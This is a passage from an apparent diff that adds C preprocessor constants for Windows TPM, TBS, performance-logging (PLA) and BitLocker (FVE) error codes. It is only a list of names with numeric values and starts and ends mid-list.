TPM_20_E_BAD_CONTEXT -2144861872 +#define TPM_20_E_CPHASH -2144861871 +#define TPM_20_E_PARENT -2144861870 +#define TPM_20_E_NEEDS_TEST -2144861869 +#define TPM_20_E_NO_RESULT -2144861868 +#define TPM_20_E_SENSITIVE -2144861867 +#define TPM_E_COMMAND_BLOCKED -2144861184 +#define TPM_E_INVALID_HANDLE -2144861183 +#define TPM_E_DUPLICATE_VHANDLE -2144861182 +#define TPM_E_EMBEDDED_COMMAND_BLOCKED -2144861181 +#define TPM_E_EMBEDDED_COMMAND_UNSUPPORTED -2144861180 +#define TPM_E_RETRY -2144860160 +#define TPM_E_NEEDS_SELFTEST -2144860159 +#define TPM_E_DOING_SELFTEST -2144860158 +#define TPM_E_DEFEND_LOCK_RUNNING -2144860157 +#define TPM_20_E_CONTEXT_GAP -2144859903 +#define TPM_20_E_OBJECT_MEMORY -2144859902 +#define TPM_20_E_SESSION_MEMORY -2144859901 +#define TPM_20_E_MEMORY -2144859900 +#define TPM_20_E_SESSION_HANDLES -2144859899 +#define TPM_20_E_OBJECT_HANDLES -2144859898 +#define TPM_20_E_LOCALITY -2144859897 +#define TPM_20_E_YIELDED -2144859896 +#define TPM_20_E_CANCELED -2144859895 +#define TPM_20_E_TESTING -2144859894 +#define TPM_20_E_NV_RATE -2144859872 +#define TPM_20_E_LOCKOUT -2144859871 +#define TPM_20_E_RETRY -2144859870 +#define TPM_20_E_NV_UNAVAILABLE -2144859869 +#define TBS_E_INTERNAL_ERROR -2144845823 +#define TBS_E_BAD_PARAMETER -2144845822 +#define TBS_E_INVALID_OUTPUT_POINTER -2144845821 +#define TBS_E_INVALID_CONTEXT -2144845820 +#define TBS_E_INSUFFICIENT_BUFFER -2144845819 +#define TBS_E_IOERROR -2144845818 +#define TBS_E_INVALID_CONTEXT_PARAM -2144845817 +#define TBS_E_SERVICE_NOT_RUNNING -2144845816 +#define TBS_E_TOO_MANY_TBS_CONTEXTS -2144845815 +#define TBS_E_TOO_MANY_RESOURCES -2144845814 +#define TBS_E_SERVICE_START_PENDING -2144845813 +#define TBS_E_PPI_NOT_SUPPORTED -2144845812 +#define TBS_E_COMMAND_CANCELED -2144845811 +#define TBS_E_BUFFER_TOO_LARGE -2144845810 +#define TBS_E_TPM_NOT_FOUND -2144845809 +#define TBS_E_SERVICE_DISABLED -2144845808 +#define TBS_E_NO_EVENT_LOG -2144845807 +#define TBS_E_ACCESS_DENIED -2144845806 +#define TBS_E_PROVISIONING_NOT_ALLOWED -2144845805 +#define TBS_E_PPI_FUNCTION_UNSUPPORTED -2144845804 +#define TBS_E_OWNERAUTH_NOT_FOUND -2144845803 +#define TBS_E_PROVISIONING_INCOMPLETE -2144845802 +#define TBS_E_TPM_IN_EXCLUSIVE_MODE -2144845801 +#define TBS_E_TPM_REBOOT_REQUIRED -2144845800 +#define TPMAPI_E_INVALID_STATE -2144796416 +#define TPMAPI_E_NOT_ENOUGH_DATA -2144796415 +#define TPMAPI_E_TOO_MUCH_DATA -2144796414 +#define TPMAPI_E_INVALID_OUTPUT_POINTER -2144796413 +#define TPMAPI_E_INVALID_PARAMETER -2144796412 +#define TPMAPI_E_OUT_OF_MEMORY -2144796411 +#define TPMAPI_E_BUFFER_TOO_SMALL -2144796410 +#define TPMAPI_E_INTERNAL_ERROR -2144796409 +#define TPMAPI_E_ACCESS_DENIED -2144796408 +#define TPMAPI_E_AUTHORIZATION_FAILED -2144796407 +#define TPMAPI_E_INVALID_CONTEXT_HANDLE -2144796406 +#define TPMAPI_E_TBS_COMMUNICATION_ERROR -2144796405 +#define TPMAPI_E_TPM_COMMAND_ERROR -2144796404 +#define TPMAPI_E_MESSAGE_TOO_LARGE -2144796403 +#define TPMAPI_E_INVALID_ENCODING -2144796402 +#define TPMAPI_E_INVALID_KEY_SIZE -2144796401 +#define TPMAPI_E_ENCRYPTION_FAILED -2144796400 +#define TPMAPI_E_INVALID_KEY_PARAMS -2144796399 +#define TPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB -2144796398 +#define TPMAPI_E_INVALID_PCR_INDEX -2144796397 +#define TPMAPI_E_INVALID_DELEGATE_BLOB -2144796396 +#define TPMAPI_E_INVALID_CONTEXT_PARAMS -2144796395 +#define TPMAPI_E_INVALID_KEY_BLOB -2144796394 +#define TPMAPI_E_INVALID_PCR_DATA -2144796393 +#define TPMAPI_E_INVALID_OWNER_AUTH -2144796392 +#define TPMAPI_E_FIPS_RNG_CHECK_FAILED -2144796391 +#define TPMAPI_E_EMPTY_TCG_LOG -2144796390 +#define TPMAPI_E_INVALID_TCG_LOG_ENTRY -2144796389 +#define TPMAPI_E_TCG_SEPARATOR_ABSENT -2144796388 +#define TPMAPI_E_TCG_INVALID_DIGEST_ENTRY -2144796387 +#define TPMAPI_E_POLICY_DENIES_OPERATION -2144796386 +#define TPMAPI_E_NV_BITS_NOT_DEFINED -2144796385 +#define TPMAPI_E_NV_BITS_NOT_READY -2144796384 +#define TPMAPI_E_SEALING_KEY_NOT_AVAILABLE -2144796383 +#define TPMAPI_E_NO_AUTHORIZATION_CHAIN_FOUND -2144796382 +#define TPMAPI_E_SVN_COUNTER_NOT_AVAILABLE -2144796381 +#define TPMAPI_E_OWNER_AUTH_NOT_NULL -2144796380 +#define TPMAPI_E_ENDORSEMENT_AUTH_NOT_NULL -2144796379 +#define TPMAPI_E_AUTHORIZATION_REVOKED -2144796378 +#define TPMAPI_E_MALFORMED_AUTHORIZATION_KEY -2144796377 +#define TPMAPI_E_AUTHORIZING_KEY_NOT_SUPPORTED -2144796376 +#define TPMAPI_E_INVALID_AUTHORIZATION_SIGNATURE -2144796375 +#define TPMAPI_E_MALFORMED_AUTHORIZATION_POLICY -2144796374 +#define TPMAPI_E_MALFORMED_AUTHORIZATION_OTHER -2144796373 +#define TPMAPI_E_SEALING_KEY_CHANGED -2144796372 +#define TPMAPI_E_INVALID_TPM_VERSION -2144796371 +#define TPMAPI_E_INVALID_POLICYAUTH_BLOB_TYPE -2144796370 +#define TPMAPI_E_INVALID_TAG -2144796368 +#define TPMAPI_E_INVALID_STRUCT_SIZE -2144796367 +#define TPMAPI_E_AUTH_CHAIN_ERROR -2144796366 +#define TPMAPI_E_COUNTER_CORRUPTED -2144796365 +#define TPMAPI_E_INVALID_ALGORITHM -2144796364 +#define TBSIMP_E_BUFFER_TOO_SMALL -2144796160 +#define TBSIMP_E_CLEANUP_FAILED -2144796159 +#define TBSIMP_E_INVALID_CONTEXT_HANDLE -2144796158 +#define TBSIMP_E_INVALID_CONTEXT_PARAM -2144796157 +#define TBSIMP_E_TPM_ERROR -2144796156 +#define TBSIMP_E_HASH_BAD_KEY -2144796155 +#define TBSIMP_E_DUPLICATE_VHANDLE -2144796154 +#define TBSIMP_E_INVALID_OUTPUT_POINTER -2144796153 +#define TBSIMP_E_INVALID_PARAMETER -2144796152 +#define TBSIMP_E_RPC_INIT_FAILED -2144796151 +#define TBSIMP_E_SCHEDULER_NOT_RUNNING -2144796150 +#define TBSIMP_E_COMMAND_CANCELED -2144796149 +#define TBSIMP_E_OUT_OF_MEMORY -2144796148 +#define TBSIMP_E_LIST_NO_MORE_ITEMS -2144796147 +#define TBSIMP_E_LIST_NOT_FOUND -2144796146 +#define TBSIMP_E_NOT_ENOUGH_SPACE -2144796145 +#define TBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS -2144796144 +#define TBSIMP_E_COMMAND_FAILED -2144796143 +#define TBSIMP_E_UNKNOWN_ORDINAL -2144796142 +#define TBSIMP_E_RESOURCE_EXPIRED -2144796141 +#define TBSIMP_E_INVALID_RESOURCE -2144796140 +#define TBSIMP_E_NOTHING_TO_UNLOAD -2144796139 +#define TBSIMP_E_HASH_TABLE_FULL -2144796138 +#define TBSIMP_E_TOO_MANY_TBS_CONTEXTS -2144796137 +#define TBSIMP_E_TOO_MANY_RESOURCES -2144796136 +#define TBSIMP_E_PPI_NOT_SUPPORTED -2144796135 +#define TBSIMP_E_TPM_INCOMPATIBLE -2144796134 +#define TBSIMP_E_NO_EVENT_LOG -2144796133 +#define TPM_E_PPI_ACPI_FAILURE -2144795904 +#define TPM_E_PPI_USER_ABORT -2144795903 +#define TPM_E_PPI_BIOS_FAILURE -2144795902 +#define TPM_E_PPI_NOT_SUPPORTED -2144795901 +#define TPM_E_PPI_BLOCKED_IN_BIOS -2144795900 +#define TPM_E_PCP_ERROR_MASK -2144795648 +#define TPM_E_PCP_DEVICE_NOT_READY -2144795647 +#define TPM_E_PCP_INVALID_HANDLE -2144795646 +#define TPM_E_PCP_INVALID_PARAMETER -2144795645 +#define TPM_E_PCP_FLAG_NOT_SUPPORTED -2144795644 +#define TPM_E_PCP_NOT_SUPPORTED -2144795643 +#define TPM_E_PCP_BUFFER_TOO_SMALL -2144795642 +#define TPM_E_PCP_INTERNAL_ERROR -2144795641 +#define TPM_E_PCP_AUTHENTICATION_FAILED -2144795640 +#define TPM_E_PCP_AUTHENTICATION_IGNORED -2144795639 +#define TPM_E_PCP_POLICY_NOT_FOUND -2144795638 +#define TPM_E_PCP_PROFILE_NOT_FOUND -2144795637 +#define TPM_E_PCP_VALIDATION_FAILED -2144795636 +#define TPM_E_PCP_WRONG_PARENT -2144795634 +#define TPM_E_KEY_NOT_LOADED -2144795633 +#define TPM_E_NO_KEY_CERTIFICATION -2144795632 +#define TPM_E_KEY_NOT_FINALIZED -2144795631 +#define TPM_E_ATTESTATION_CHALLENGE_NOT_SET -2144795630 +#define TPM_E_NOT_PCR_BOUND -2144795629 +#define TPM_E_KEY_ALREADY_FINALIZED -2144795628 +#define TPM_E_KEY_USAGE_POLICY_NOT_SUPPORTED -2144795627 +#define TPM_E_KEY_USAGE_POLICY_INVALID -2144795626 +#define TPM_E_SOFT_KEY_ERROR -2144795625 +#define TPM_E_KEY_NOT_AUTHENTICATED -2144795624 +#define TPM_E_PCP_KEY_NOT_AIK -2144795623 +#define TPM_E_KEY_NOT_SIGNING_KEY -2144795622 +#define TPM_E_LOCKED_OUT -2144795621 +#define TPM_E_CLAIM_TYPE_NOT_SUPPORTED -2144795620 +#define TPM_E_VERSION_NOT_SUPPORTED -2144795619 +#define TPM_E_BUFFER_LENGTH_MISMATCH -2144795618 +#define TPM_E_PCP_IFX_RSA_KEY_CREATION_BLOCKED -2144795617 +#define TPM_E_PCP_TICKET_MISSING -2144795616 +#define TPM_E_PCP_RAW_POLICY_NOT_SUPPORTED -2144795615 +#define TPM_E_PCP_KEY_HANDLE_INVALIDATED -2144795614 +#define TPM_E_PCP_UNSUPPORTED_PSS_SALT 1076429859 +#define TPM_E_PCP_PLATFORM_CLAIM_MAY_BE_OUTDATED 1076429860 +#define TPM_E_PCP_PLATFORM_CLAIM_OUTDATED 1076429861 +#define TPM_E_PCP_PLATFORM_CLAIM_REBOOT 1076429862 +#define TPM_E_ZERO_EXHAUST_ENABLED -2144795392 +#define DRTM_E_ENVIRONMENT_UNSAFE -2144795391 +#define DRTM_E_NO_DIRECT_AUTH_FOR_CURRENT_MLE -2144795390 +#define TPM_E_PROVISIONING_INCOMPLETE -2144795136 +#define TPM_E_INVALID_OWNER_AUTH -2144795135 +#define TPM_E_TOO_MUCH_DATA -2144795134 +#define TPM_E_TPM_GENERATED_EPS -2144795133 +#define PLA_E_DCS_NOT_FOUND -2144337918 +#define PLA_E_DCS_IN_USE -2144337750 +#define PLA_E_TOO_MANY_FOLDERS -2144337851 +#define PLA_E_NO_MIN_DISK -2144337808 +#define PLA_E_DCS_ALREADY_EXISTS -2144337737 +#define PLA_S_PROPERTY_IGNORED 3145984 +#define PLA_E_PROPERTY_CONFLICT -2144337663 +#define PLA_E_DCS_SINGLETON_REQUIRED -2144337662 +#define PLA_E_CREDENTIALS_REQUIRED -2144337661 +#define PLA_E_DCS_NOT_RUNNING -2144337660 +#define PLA_E_CONFLICT_INCL_EXCL_API -2144337659 +#define PLA_E_NETWORK_EXE_NOT_VALID -2144337658 +#define PLA_E_EXE_ALREADY_CONFIGURED -2144337657 +#define PLA_E_EXE_PATH_NOT_VALID -2144337656 +#define PLA_E_DC_ALREADY_EXISTS -2144337655 +#define PLA_E_DCS_START_WAIT_TIMEOUT -2144337654 +#define PLA_E_DC_START_WAIT_TIMEOUT -2144337653 +#define PLA_E_REPORT_WAIT_TIMEOUT -2144337652 +#define PLA_E_NO_DUPLICATES -2144337651 +#define PLA_E_EXE_FULL_PATH_REQUIRED -2144337650 +#define PLA_E_INVALID_SESSION_NAME -2144337649 +#define PLA_E_PLA_CHANNEL_NOT_ENABLED -2144337648 +#define PLA_E_TASKSCHED_CHANNEL_NOT_ENABLED -2144337647 +#define PLA_E_RULES_MANAGER_FAILED -2144337646 +#define PLA_E_CABAPI_FAILURE -2144337645 +#define FVE_E_LOCKED_VOLUME -2144272384 +#define FVE_E_NOT_ENCRYPTED -2144272383 +#define FVE_E_NO_TPM_BIOS -2144272382 +#define FVE_E_NO_MBR_METRIC -2144272381 +#define FVE_E_NO_BOOTSECTOR_METRIC -2144272380 +#define FVE_E_NO_BOOTMGR_METRIC -2144272379 +#define FVE_E_WRONG_BOOTMGR -2144272378 +#define FVE_E_SECURE_KEY_REQUIRED -2144272377 +#define FVE_E_NOT_ACTIVATED -2144272376 +#define FVE_E_ACTION_NOT_ALLOWED -2144272375 +#define FVE_E_AD_SCHEMA_NOT_INSTALLED -2144272374 +#define FVE_E_AD_INVALID_DATATYPE -2144272373 +#define FVE_E_AD_INVALID_DATASIZE -2144272372 +#define FVE_E_AD_NO_VALUES -2144272371 +#define FVE_E_AD_ATTR_NOT_SET -2144272370 +#define FVE_E_AD_GUID_NOT_FOUND -2144272369 +#define FVE_E_BAD_INFORMATION -2144272368 +#define FVE_E_TOO_SMALL -2144272367 +#define FVE_E_SYSTEM_VOLUME -2144272366 +#define FVE_E_FAILED_WRONG_FS -2144272365 +#define FVE_E_BAD_PARTITION_SIZE -2144272364 +#define FVE_E_NOT_SUPPORTED -2144272363 +#define FVE_E_BAD_DATA -2144272362 +#define FVE_E_VOLUME_NOT_BOUND -2144272361 +#define FVE_E_TPM_NOT_OWNED -2144272360 +#define FVE_E_NOT_DATA_VOLUME -2144272359 +#define FVE_E_AD_INSUFFICIENT_BUFFER -2144272358 +#define FVE_E_CONV_READ -2144272357 +#define FVE_E_CONV_WRITE -2144272356 +#define FVE_E_KEY_REQUIRED -2144272355 +#define FVE_E_CLUSTERING_NOT_SUPPORTED -2144272354 +#define FVE_E_VOLUME_BOUND_ALREADY -2144272353 +#define FVE_E_OS_NOT_PROTECTED -2144272352 +#define FVE_E_PROTECTION_DISABLED -2144272351 +#define FVE_E_RECOVERY_KEY_REQUIRED -2144272350 +#define FVE_E_FOREIGN_VOLUME -2144272349 +#define FVE_E_OVERLAPPED_UPDATE -2144272348 +#define FVE_E_TPM_SRK_AUTH_NOT_ZERO -2144272347 +#define FVE_E_FAILED_SECTOR_SIZE -2144272346 +#define FVE_E_FAILED_AUTHENTICATION -2144272345 +#define FVE_E_NOT_OS_VOLUME -2144272344 +#define FVE_E_AUTOUNLOCK_ENABLED -2144272343 +#define FVE_E_WRONG_BOOTSECTOR -2144272342 +#define FVE_E_WRONG_SYSTEM_FS -2144272341 +#define FVE_E_POLICY_PASSWORD_REQUIRED -2144272340 +#define FVE_E_CANNOT_SET_FVEK_ENCRYPTED -2144272339 +#define FVE_E_CANNOT_ENCRYPT_NO_KEY -2144272338 +#define FVE_E_BOOTABLE_CDDVD -2144272336 +#define FVE_E_PROTECTOR_EXISTS -2144272335 +#define FVE_E_RELATIVE_PATH -2144272334 +#define FVE_E_PROTECTOR_NOT_FOUND -2144272333 +#define FVE_E_INVALID_KEY_FORMAT -2144272332 +#define FVE_E_INVALID_PASSWORD_FORMAT -2144272331 +#define FVE_E_FIPS_RNG_CHECK_FAILED -2144272330 +#define FVE_E_FIPS_PREVENTS_RECOVERY_PASSWORD -2144272329 +#define FVE_E_FIPS_PREVENTS_EXTERNAL_KEY_EXPORT -2144272328 +#define FVE_E_NOT_DECRYPTED -2144272327 +#define FVE_E_INVALID_PROTECTOR_TYPE -2144272326 +#define FVE_E_NO_PROTECTORS_TO_TEST -2144272325 +#define FVE_E_KEYFILE_NOT_FOUND -2144272324 +#define FVE_E_KEYFILE_INVALID -2144272323 +#define FVE_E_KEYFILE_NO_VMK -2144272322 +#define FVE_E_TPM_DISABLED -2144272321 +#define FVE_E_NOT_ALLOWED_IN_SAFE_MODE -2144272320 +#define FVE_E_TPM_INVALID_PCR -2144272319 +#define FVE_E_TPM_NO_VMK -2144272318 +#define FVE_E_PIN_INVALID -2144272317 +#define FVE_E_AUTH_INVALID_APPLICATION -2144272316 +#define FVE_E_AUTH_INVALID_CONFIG -2144272315 +#define FVE_E_FIPS_DISABLE_PROTECTION_NOT_ALLOWED -2144272314 +#define FVE_E_FS_NOT_EXTENDED -2144272313 +#define FVE_E_FIRMWARE_TYPE_NOT_SUPPORTED -2144272312 +#define FVE_E_NO_LICENSE -2144272311 +#define FVE_E_NOT_ON_STACK -2144272310 +#define FVE_E_FS_MOUNTED -2144272309 +#define FVE_E_TOKEN_NOT_IMPERSONATED -2144272308 +#define FVE_E_DRY_RUN_FAILED -2144272307 +#define FVE_E_REBOOT_REQUIRED -2144272306 +#define FVE_E_DEBUGGER_ENABLED -2144272305 +#define FVE_E_RAW_ACCESS -2144272304 +#define FVE_E_RAW_BLOCKED -2144272303 +#define FVE_E_BCD_APPLICATIONS_PATH_INCORRECT -2144272302 +#define FVE_E_NOT_ALLOWED_IN_VERSION -2144272301 +#define FVE_E_NO_AUTOUNLOCK_MASTER_KEY -2144272300 +#define FVE_E_MOR_FAILED -2144272299 +#define FVE_E_HIDDEN_VOLUME -2144272298 +#define FVE_E_TRANSIENT_STATE -2144272297 +#define FVE_E_PUBKEY_NOT_ALLOWED -2144272296 +#define FVE_E_VOLUME_HANDLE_OPEN -2144272295 +#define FVE_E_NO_FEATURE_LICENSE -2144272294 +#define FVE_E_INVALID_STARTUP_OPTIONS -2144272293 +#define FVE_E_POLICY_RECOVERY_PASSWORD_NOT_ALLOWED -2144272292 +#define FVE_E_POLICY_RECOVERY_PASSWORD_REQUIRED -2144272291 +#define FVE_E_POLICY_RECOVERY_KEY_NOT_ALLOWED -2144272290 +#define FVE_E_POLICY_RECOVERY_KEY_REQUIRED -2144272289 +#define FVE_E_POLICY_STARTUP_PIN_NOT_ALLOWED -2144272288 +#define FVE_E_POLICY_STARTUP_PIN_REQUIRED -2144272287 +#define FVE_E_POLICY_STARTUP_KEY_NOT_ALLOWED -2144272286 +#define FVE_E_POLICY_STARTUP_KEY_REQUIRED -2144272285 +#define FVE_E_POLICY_STARTUP_PIN_KEY_NOT_ALLOWED -2144272284 +#define FVE_E_POLICY_STARTUP_PIN_KEY_REQUIRED -2144272283 +#define FVE_E_POLICY_STARTUP_TPM_NOT_ALLOWED -2144272282 +#define FVE_E_POLICY_STARTUP_TPM_REQUIRED -2144272281 +#define FVE_E_POLICY_INVALID_PIN_LENGTH -2144272280 +#define FVE_E_KEY_PROTECTOR_NOT_SUPPORTED -2144272279 +#define FVE_E_POLICY_PASSPHRASE_NOT_ALLOWED -2144272278 +#define FVE_E_POLICY_PASSPHRASE_REQUIRED -2144272277 +#define FVE_E_FIPS_PREVENTS_PASSPHRASE -2144272276 +#define FVE_E_OS_VOLUME_PASSPHRASE_NOT_ALLOWED -2144272275 +#define FVE_E_INVALID_BITLOCKER_OID -2144272274 +#define FVE_E_VOLUME_TOO_SMALL -2144272273 +#define FVE_E_DV_NOT_SUPPORTED_ON_FS -2144272272 +#define FVE_E_DV_NOT_ALLOWED_BY_GP -2144272271 +#define FVE_E_POLICY_USER_CERTIFICATE_NOT_ALLOWED -2144272270 +#define FVE_E_POLICY_USER_CERTIFICATE_REQUIRED -2144272269 +#define FVE_E_POLICY_USER_CERT_MUST_BE_HW -2144272268 +#define FVE_E_POLICY_USER_CONFIGURE_FDV_AUTOUNLOCK_NOT_ALLOWED -2144272267 +#define FVE_E_POLICY_USER_CONFIGURE_RDV_AUTOUNLOCK_NOT_ALLOWED -2144272266 +#define FVE_E_POLICY_USER_CONFIGURE_RDV_NOT_ALLOWED -2144272265 +#define FVE_E_POLICY_USER_ENABLE_RDV_NOT_ALLOWED -2144272264 +#define FVE_E_POLICY_USER_DISABLE_RDV_NOT_ALLOWED -2144272263 +#define FVE_E_POLICY_INVALID_PASSPHRASE_LENGTH -2144272256 +#define FVE_E_POLICY_PASSPHRASE_TOO_SIMPLE -2144272255 +#define FVE_E_RECOVERY_PARTITION -2144272254 +#define FVE_E_POLICY_CONFLICT_FDV_RK_OFF_AUK_ON -2144272253 +#define FVE_E_POLICY_CONFLICT_RDV_RK_OFF_AUK_ON -2144272252 +#define FVE_E_NON_BITLOCKER_OID -2144272251 +#define FVE_E_POLICY_PROHIBITS_SELFSIGNED -2144272250 +#define FVE_E_POLICY_CONFLICT_RO_AND_STARTUP_KEY_REQUIRED -2144272249 +#define FVE_E_CONV_RECOVERY_FAILED -2144272248 +#define FVE_E_VIRTUALIZED_SPACE_TOO_BIG -2144272247 +#define FVE_E_POLICY_CONFLICT_OSV_RP_OFF_ADB_ON -2144272240 +#define FVE_E_POLICY_CONFLICT_FDV_RP_OFF_ADB_ON -2144272239 +#define FVE_E_POLICY_CONFLICT_RDV_RP_OFF_ADB_ON -2144272238 +#define FVE_E_NON_BITLOCKER_KU -2144272237 +#define FVE_E_PRIVATEKEY_AUTH_FAILED -2144272236 +#define FVE_E_REMOVAL_OF_DRA_FAILED -2144272235 +#define FVE_E_OPERATION_NOT_SUPPORTED_ON_VISTA_VOLUME -2144272234 +#define FVE_E_CANT_LOCK_AUTOUNLOCK_ENABLED_VOLUME -2144272233 +#define FVE_E_FIPS_HASH_KDF_NOT_ALLOWED -2144272232 +#define FVE_E_ENH_PIN_INVALID -2144272231 +#define FVE_E_INVALID_PIN_CHARS -2144272230 +#define FVE_E_INVALID_DATUM_TYPE -2144272229 +#define FVE_E_EFI_ONLY -2144272228 +#define FVE_E_MULTIPLE_NKP_CERTS -2144272227 +#define FVE_E_REMOVAL_OF_NKP_FAILED -2144272226 +#define FVE_E_INVALID_NKP_CERT -2144272225 +#define FVE_E_NO_EXISTING_PIN -2144272224 +#define FVE_E_PROTECTOR_CHANGE_PIN_MISMATCH -2144272223 +#define FVE_E_PIN_PROTECTOR_CHANGE_BY_STD_USER_DISALLOWED -2144272222 +#define FVE_E_PROTECTOR_CHANGE_MAX_PIN_CHANGE_ATTEMPTS_REACHED -2144272221 +#define FVE_E_POLICY_PASSPHRASE_REQUIRES_ASCII -2144272220 +#define FVE_E_FULL_ENCRYPTION_NOT_ALLOWED_ON_TP_STORAGE -2144272219 +#define FVE_E_WIPE_NOT_ALLOWED_ON_TP_STORAGE -2144272218 +#define FVE_E_KEY_LENGTH_NOT_SUPPORTED_BY_EDRIVE -2144272217 +#define FVE_E_NO_EXISTING_PASSPHRASE -2144272216 +#define FVE_E_PROTECTOR_CHANGE_PASSPHRASE_MISMATCH -2144272215 +#define FVE_E_PASSPHRASE_TOO_LONG -2144272214 +#define FVE_E_NO_PASSPHRASE_WITH_TPM -2144272213 +#define FVE_E_NO_TPM_WITH_PASSPHRASE -2144272212 +#define FVE_E_NOT_ALLOWED_ON_CSV_STACK -2144272211 +#define FVE_E_NOT_ALLOWED_ON_CLUSTER -2144272210 +#define FVE_E_EDRIVE_NO_FAILOVER_TO_SW -2144272209 +#define FVE_E_EDRIVE_BAND_IN_USE -2144272208 +#define FVE_E_EDRIVE_DISALLOWED_BY_GP -2144272207 +#define FVE_E_EDRIVE_INCOMPATIBLE_VOLUME -2144272206 +#define FVE_E_NOT_ALLOWED_TO_UPGRADE_WHILE_CONVERTING -2144272205 +#define FVE_E_EDRIVE_DV_NOT_SUPPORTED -2144272204 +#define FVE_E_NO_PREBOOT_KEYBOARD_DETECTED -2144272203 +#define FVE_E_NO_PREBOOT_KEYBOARD_OR_WINRE_DETECTED -2144272202 +#define FVE_E_POLICY_REQUIRES_STARTUP_PIN_ON_TOUCH_DEVICE -2144272201 +#define FVE_E_POLICY_REQUIRES_RECOVERY_PASSWORD_ON_TOUCH_DEVICE -2144272200 +#define FVE_E_WIPE_CANCEL_NOT_APPLICABLE -2144272199 +#define FVE_E_SECUREBOOT_DISABLED -2144272198 +#define FVE_E_SECUREBOOT_CONFIGURATION_INVALID -2144272197 +#define FVE_E_EDRIVE_DRY_RUN_FAILED -2144272196 +#define FVE_E_SHADOW_COPY_PRESENT -2144272195 +#define FVE_E_POLICY_INVALID_ENHANCED_BCD_SETTINGS -2144272194 +#define FVE_E_EDRIVE_INCOMPATIBLE_FIRMWARE -2144272193 +#define FVE_E_PROTECTOR_CHANGE_MAX_PASSPHRASE_CHANGE_ATTEMPTS_REACHED -2144272192 +#define FVE_E_PASSPHRASE_PROTECTOR_CHANGE_BY_STD_USER_DISALLOWED -2144272191 +#define FVE_E_LIVEID_ACCOUNT_SUSPENDED -2144272190 +#define FVE_E_LIVEID_ACCOUNT_BLOCKED -2144272189 +#define FVE_E_NOT_PROVISIONED_ON_ALL_VOLUMES -2144272188 +#define FVE_E_DE_FIXED_DATA_NOT_SUPPORTED -2144272187 +#define FVE_E_DE_HARDWARE_NOT_COMPLIANT -2144272186 +#define FVE_E_DE_WINRE_NOT_CONFIGURED -2144272185 +#define FVE_E_DE_PROTECTION_SUSPENDED -2144272184 +#define FVE_E_DE_OS_VOLUME_NOT_PROTECTED -2144272183 +#define FVE_E_DE_DEVICE_LOCKEDOUT -2144272182 +#define FVE_E_DE_PROTECTION_NOT_YET_ENABLED -2144272181 +#define FVE_E_INVALID_PIN_CHARS_DETAILED -2144272180 +#define FVE_E_DEVICE_LOCKOUT_COUNTER_UNAVAILABLE -2144272179 +#define FVE_E_DEVICELOCKOUT_COUNTER_MISMATCH -2144272178 +#define FVE_E_BUFFER_TOO_LARGE -2144272177 +#define FVE_E_NO_SUCH_CAPABILITY_ON_TARGET -2144272176 +#define FVE_E_DE_PREVENTED_FOR_OS -2144272175 +#define FVE_E_DE_VOLUME_OPTED_OUT -2144272174 +#define FVE_E_DE_VOLUME_NOT_SUPPORTED -2144272173 +#define FVE_E_EOW_NOT_SUPPORTED_IN_VERSION -2144272172 +#define FVE_E_ADBACKUP_NOT_ENABLED -2144272171 +#define FVE_E_VOLUME_EXTEND_PREVENTS_EOW_DECRYPT -2144272170 +#define FVE_E_NOT_DE_VOLUME -2144272169 +#define FVE_E_PROTECTION_CANNOT_BE_DISABLED -2144272168 +#define FVE_E_OSV_KSR_NOT_ALLOWED -2144272167 +#define FVE_E_AD_BACKUP_REQUIRED_POLICY_NOT_SET_OS_DRIVE -2144272166 +#define FVE_E_AD_BACKUP_REQUIRED_POLICY_NOT_SET_FIXED_DRIVE -2144272165 +#define FVE_E_AD_BACKUP_REQUIRED_POLICY_NOT_SET_REMOVABLE_DRIVE -2144272164 +#define FVE_E_KEY_ROTATION_NOT_SUPPORTED -2144272163 +#define FVE_E_EXECUTE_REQUEST_SENT_TOO_SOON -2144272162 +#define FVE_E_KEY_ROTATION_NOT_ENABLED -2144272161 +#define FVE_E_DEVICE_NOT_JOINED_AAD -2144272160 +#define FVE_E_AAD_ENDPOINT_BUSY -2144272159 +#define FVE_E_INVALID_NBP_CERT -2144272158 +#define FVE_E_EDRIVE_BAND_ENUMERATION_FAILED -2144272157 +#define FVE_E_POLICY_ON_RDV_EXCLUSION_LIST -2144272156 +#define FVE_E_PREDICTED_TPM_PROTECTOR_NOT_SUPPORTED -2144272155 +#define FVE_E_SETUP_TPM_CALLBACK_NOT_SUPPORTED -2144272154 +#define FVE_E_TPM_CONTEXT_SETUP_NOT_SUPPORTED -2144272153 +#define FVE_E_UPDATE_INVALID_CONFIG -2144272152 +#define FVE_E_AAD_SERVER_FAIL_RETRY_AFTER_AAD -2144272151 +#define FVE_E_AAD_SERVER_FAIL_BACKOFF_AAD -2144272150 +#define FVE_E_DATASET_FULL -2144272149 +#define FVE_E_METADATA_FULL -2144272148 +#define FVE_E_DISCOVERY_VOLUME_NOT_SUPPORTED -2144272147 +#define FVE_E_EXCEED_LIMIT_RP -2144272146 +#define FVE_E_NO_BACKUP_ACCOUNT -2144272145 +#define FVE_E_SUSPEND_PROTECTION_NOT_ALLOWED -2144272144 +#define FVE_E_CANNOT_PREDICT_PCR7 -2144272143 +#define FVE_E_ENTRY_ALREADY_EXISTS -2144272142 +#define FVE_E_ENTRY_NOT_FOUND -2144272141 +#define FVE_E_DATUM_PARTIALLY_INVALID -2144272140 +#define FVE_E_DATASET_TPM_DATUMS_INCONSISTENT -2144272139 +#define FVE_E_SECURE_BOOT_BINDINGS_OUT_OF_SYNC -2144272138 +#define FVE_E_SECURE_BOOT_BINDING_DATA_OUT_OF_SYNC -2144272137 +#define FVE_E_ORPHANED_TPM_BINDING_DATUM -2144272136 +#define FVE_E_BAD_TPM_DATUM_ASSOCIATION -2144272135 +#define FVE_E_FINAL_TPM_PCR_VALUES_MATCH -2144272134 +#define FVE_E_MATCHING_PCRS_TPM_FAILURE -2144272133 +#define FVE_E_BACKUP_CACHE_NOT_ALLOCATED -2144272132 +#define FVE_E_MSA_BACKUP_CACHE_NOT_ALLOCATED -2144272131 +#define FVE_E_AD_BACKUP_CACHE_NOT_ALLOCATED -2144272130 +#define FVE_E_GENERAL_TPM_FAILURE -2144272129 +#define FVE_E_TPM_NONEXISTENT -2144272128 +#define FVE_E_NO_PCR_BOOT_LOCK_BOUNDARY -1070530303 +#define FVE_E_PCR_BOOT_LOCK_BOUNDARY -1070530302 +#define FVE_E_FW_UPDATE_TPM_BINDINGS_NOT_REFRESHED -1070530301 +#define 